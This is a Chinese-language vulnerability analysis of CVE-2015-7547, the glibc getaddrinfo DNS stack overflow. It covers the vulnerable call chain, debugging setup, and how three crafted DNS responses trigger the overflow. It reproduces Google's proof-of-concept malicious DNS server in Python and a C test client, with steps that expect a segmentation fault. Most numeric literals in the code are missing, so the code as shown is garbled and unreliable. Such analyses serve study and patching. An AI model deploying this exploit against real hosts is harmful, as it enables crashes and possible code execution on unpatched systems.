catalogue
. 漏洞简述
. 调试环境搭建
. 漏洞利用
. 漏洞分析
. 缓解修复方案
1. 漏洞简述
0x1: 函数调用顺序
getaddrinfo (getaddrinfo.c) ->
_nss_dns_gethostbyname4_r (dns-host.c) ->
__libc_res_nsearch (res_query.c) ->
__libc_res_nquery (res_query.c) ->
__libc_res_nsend (res_send.c) ->
send_vc (res_send.c)
0x2: 总结概括
. 该漏洞存在于resolv/res_send.c文件中,当getaddrinfo()函数被调用时如果DNS Server端返回一个超大包时会触发该漏洞
. glibc中send_dg函数中负责向DNS Server发送DNS解析Request,并将收到的DNS Response回包保存在本地栈空间中
. 但是glibc对DNS Response超大包的判断存在逻辑绕过漏洞,导致原始的边界判断、buffer栈空间reallocate逻辑被绕过,直接导致的结果就是相同的栈空间被用于多次处理DNS Response回包
. 经过多次的超大畸形DNS Response回包之后,导致Stack Smash,父函数空间被非法覆盖,最终导致在__libc_res_nquery访问非法地址,segment fault
Relevant Link:
http://www.freebuf.com/news/96244.html
http://news.wooyun.org/6c6e454262397856304f5a7447794631514a4d7864773d3d?from=timeline&isappinstalled=0
https://googleonlinesecurity.blogspot.ca/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
2. 调试环境搭建
. 安装ddd
wget http://ftp.gnu.org/gnu/ddd/ddd-3.2.1.tar.gz
tar zvxf ddd-3.2..tar.gz
cd ddd-3.2.
./configure --prefix=/usr/local/ddd
make & make install
cd /usr/local/ddd/bin
ddd . 准备glibc源码、debug符号表
sudo apt-get install libc6-dbg
sudo apt-get source libc6-dev
sudo apt-get install dpkg-dev . 准备debug版poc
wget https://codeload.github.com/fjserna/CVE-2015-7547/zip/master
unzip master
vim Makefile
加入-g编译选项
3. 漏洞利用
. 控制DNS Server,并能够配置A、AAAA记录的解析逻辑
. 伪造的DNS Server第一个回包需要构造为2048byte大小
) 完整填充2048的栈空间
) send_dg会尝试重用旧的栈区,但是因为剩余空间为0,故失败
) 新的buffer会通过malloc被申请,但是因为代码逻辑bug,导致就的栈空间被复用,并且使用上限为65535
) 回包的数据格式必须正确
. 伪造的DNS Server第二个回包
) 构造畸形包,强制让__libc_res_nsend重试,这可以导致栈指针指向的栈空间被设置了错误的上限
. 伪造的DNS Server第三个回包
) 2048bytes,正常回包
) 剩下的63487bytes可以防止攻击载荷
) recvfrom最终导致了stack smash
CVE-2015-7547-poc.py
#!/usr/bin/python
#
# Copyright Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Thomas Garnier <thgarnie@google.com> import socket
import time
import struct
import threading IP = '127.0.0.1' # Insert your ip for bind() here...
ANSWERS1 = terminate = False
last_reply = None
reply_now = threading.Event() def dw(x):
return struct.pack('>H', x) def dd(x):
return struct.pack('>I', x) def dl(x):
return struct.pack('<Q', x) def db(x):
return chr(x) def udp_thread():
global terminate # Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, )
sock_udp.bind((IP, )) reply_counter =
counter = - answers = [] while not terminate:
data, addr = sock_udp.recvfrom()
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[:])[]
query_udp = data[:] # Send truncated flag... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw() # questions
data += dw() # answers
data += dw() # authoritative
data += dw() # additional
data += query_udp # question
data += '\x00' * # Need a long DNS response to force malloc answers.append((data, addr)) if len(answers) != :
continue counter += if counter % == :
answers = answers[::-] time.sleep(0.01)
sock_udp.sendto(*answers.pop())
reply_now.wait()
sock_udp.sendto(*answers.pop()) sock_udp.close() def tcp_thread():
global terminate
counter = - #Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, )
sock_tcp.bind((IP, ))
sock_tcp.listen() while not terminate:
conn, addr = sock_tcp.accept()
counter +=
print 'Connected with ' + addr[] + ':' + str(addr[]) # Read entire packet
data = conn.recv()
print '[TCP] Total Data len recv ' + str(len(data)) reqlen1 = socket.ntohs(struct.unpack('H', data[:])[])
print '[TCP] Request1 len recv ' + str(reqlen1)
data1 = data[:+reqlen1]
id1 = struct.unpack('>H', data1[:])[]
query1 = data[:] # Do we have an extra request?
data2 = None
if len(data) > +reqlen1:
reqlen2 = socket.ntohs(struct.unpack('H', data[+reqlen1:+reqlen1+])[])
print '[TCP] Request2 len recv ' + str(reqlen2)
data2 = data[+reqlen1+:+reqlen1++reqlen2]
id2 = struct.unpack('>H', data2[:])[]
query2 = data2[:] # Reply them on different packets
data = ''
data += dw(id1) # id
data += dw(0x8180) # flags
data += dw() # questions
data += dw(ANSWERS1) # answers
data += dw() # authoritative
data += dw() # additional
data += query1 # question for i in range(ANSWERS1):
answer = dw(0xc00c) # name compressed
answer += dw() # type A
answer += dw() # class
answer += dd() # ttl
answer += dw() # data length
answer += 'D' * # data data += answer data1_reply = dw(len(data)) + data if data2:
data = ''
data += dw(id2)
data += 'B' * ()
data2_reply = dw(len(data)) + data
else:
data2_reply = None reply_now.set()
time.sleep(0.01)
conn.sendall(data1_reply)
time.sleep(0.01)
if data2:
conn.sendall(data2_reply) reply_now.clear() sock_tcp.shutdown(socket.SHUT_RDWR)
sock_tcp.close() if __name__ == "__main__": t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True
CVE-2015-7547-client.c
/* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/ #include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <err.h>
#include <stdio.h>
#include <string.h> int
main(void)
{
struct addrinfo hints, *res;
int r; memset(&hints, , sizeof(hints));
hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "",
&hints, &res)) != )
errx(, "getaddrinfo: %s", gai_strerror(r)); return ;
}
测试过程
. 伪造一个假的DNS Server 作为中间人,来验证该漏洞
. 更改DNS 解析为 127.0.0.1,刷新DNS 缓存 sudo /etc/init.d/nscd restart
. python CVE---poc.py
. 编译 CVE---client.c
. 运行编译 CVE---client
. 若含有漏洞,会造成Segmentation Fault
aaarticlea/png;base64,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